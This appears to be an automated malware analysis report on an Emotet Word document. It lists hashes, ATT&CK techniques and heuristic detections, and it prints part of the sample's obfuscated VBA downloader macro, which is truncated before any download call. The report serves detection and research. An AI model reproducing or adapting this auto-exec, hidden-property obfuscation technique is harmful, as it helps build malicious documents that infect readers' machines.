Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 aef095e9f7a57cf2…

MALICIOUS

Office (OLE)

175.7 KB Created: 2019-12-18 07:08:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: c5720941bf42434d04127c5f20b87f76 SHA-1: 8bb6a7d59583df520605ff96e817b7bd1b5f0c5f SHA-256: aef095e9f7a57cf26703712e948e809dcbfef4b3e2cc2a3c9f6c3c2a0204e0a6
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample contains a VBA macro within the Document_Open subroutine, which is a common technique for Emotet. The macro utilizes CreateObject and hidden UserForm properties to execute code, indicating a downloader functionality. ClamAV detection further confirms its malicious nature and identifies it as Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7464435-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7464435-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8532 bytes
SHA-256: bf396ac7637f2679d965ae7af889f527da30942df2f8e52d49de8f993852af9b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Honkioltjg"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Krqadtuqa, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Vyfnrlnd = Eovirwcctpvbn To Gcezsexcitbo
         Ysnpcjhbsash = Kgulmtkjj
         Rglnpqhdh = Illjmfkdglqss
Next
Select Case Pbfkpjilkcwnc
         Case jhghff
            Dgknyiacgf = CSng(Hex(Ytaosmpbf))
            Fnaaahqrhtvhj = CDate(Uzpcb0lU * CDate(Drozzepdk))
            Ndbnjfgjfz = Avqnsmcmq
            Jxmgyspkqip = 34
            Qtkqaabffjn = Rxqhftfpsp
End Select
   For Nrjcrxarnvzo = Atdabbufpix To Ijfqmmuznptw
         Qgwgphmjnpek = Icaeqcsiifmcu
         Dkefidztci = Yvqlbevrl
Next
Select Case Ftaiyqtmnxx
         Case jhghff
            Afzviiyvy = CSng(Hex(Nrtkyyxaovyl))
            Aciwfkalllwe = CDate(Uzpcb0lU * CDate(Crshzgvgx))
            Pzxviburaig = Sjtbghotxpxxd
            Cztfaiqldp = 34
            Cnaawbsopn = Puurkzyf
End Select
   For Ijqgrzvzx = Ggpcpiyfp To Xhtmlsrp
         Rstmreivalmc = Fgdjjksovfl
         Fncihvjpov = Epjoyruidgfoh
Next
Select Case Cdwoaircixde
         Case jhghff
            Brknlfujzxo = CSng(Hex(Jyhoabbg))
            Hppmmbrvmntb = CDate(Uzpcb0lU * CDate(Avbztdzzjiie))
            Cdgipzdyws = Ibcdhhjln
            Bnhshfhe = 34
            Hsihklqrczirl = Xfbaupvxdeuhg
End Select
Mfpclrruyofr
End Sub

Attribute VB_Name = "Sgrjzpohzof"
Attribute VB_Base = "0{C2893102-5799-4E36-885F-E455A4795C97}{101BFAD4-8B58-4BDF-95D4-63114057CB0C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Xvlsgerp"
Function Mzkcdughk()
   For Obctixiyjp = Eefyppymrw To Nasechdhlajom
         Ijlpmtpovl = Bcnussefhfd
         Mtxeurmt = Cghvdymwttr
Next
Select Case Yfrviqdcf
         Case jhghff
            Aarjatwwxmk = CSng(Hex(Wahujkblko))
            Dwedznwquvdhd = CDate(Uzpcb0lU * CDate(Xuesnrgyhjjtv))
            Plrkxxss = Nyqbwzrnleqfw
            Wxwuqtbbr = 34
            Ptycecgtatqx = Rgkjmkpfba
End Select
Etqstimht = Honkioltjg.Krqadtuqa
   For Hkqqefczs = Usybeymbuspmx To Daczbvdwlpkj
         Erqgrczrxc = Uwprystjbcwt
         Qvmltojr = Zfguumca
Next
Select Case Bhhtrrqsi
         Case jhghff
            Wppleelizkdg = CSng(Hex(Smyopzwijain))
            Cxriofcprjqh = CDate(Uzpcb0lU * CDate(Lxxbtbzfsdtc))
            Gocqlrfbtur = Cuoyhidwmch
            Uwenomgoidga = 34
            Mkddjklwldfmt = Ulvvuwiwfgfb
End Select
Auchuplrztc = Etqstimht + Sgrjzpohzof.Oxfwxcpevhsie + Sgrjzpohzof.Zaddwmsuhwnzp + Sgrjzpohzof.Acmmrcev
   For Bgnsofgsasr = Wuymrfoh To Ekqbfqvcf
         Dsjbvahgjkb = Zxhpjbtizxjh
         Bcfqlnnt = Kwfhbtycdwc
Next
Select Case Gsemheuatw
         Case jhghff
            Eduquggus = CSng(Hex(Vmggzhecast))
            Hafphnrziaxpe = CDate(Uzpcb0lU * CDate(Pwnpcfizax))
            Ouwnkfwitbrn = Nnmjqvvvme
            Wryafrmu = 34
            Mmmkhdpof = Psvnrgzyti
End Select
Pskxhvfrug = Auchuplrztc + Sgrjzpohzof.Lnjiddnuzjszn + Sgrjzpohzof.Iarazuvin
   For Grdpiatkaqvn = Rbvlrkpk To Xordvahd
         Wwxryenfoxgzc = Dqnsvevearujq
         Jrjeeuddnnxkw = Ylwdrjtlitarx
Next
Select Case Uxqooopx
         Case jhghff
            Zmzfxuzpd = CSng(Hex(Nmxqpgble))
            Ejszthaii = CDate(Uzpcb0lU * CDate(Yrwtgkzbc))
            Whktxzhom = Tiqmyaro
            Ugofuvarlc = 34
            Ynloajbbubv = Ndtlyjnyvbbwo
End Select
Mzkcdughk = Eqixjigahmlpu + Pskxhvfrug + Eqixjigahmlpu
   For Cpsmlxdtqdi = Gnybdvidljyk To Qtauusmoyvd
         Ovaktcflfy = Hjkqfubhjn
         Inuirocyykt = Yeiyckvblm
Next
Select Case Ysbbxbbv
         Case jhghff
            Giwtqvbl = CSng(Hex(Cfgptigceox))
     
... (truncated)

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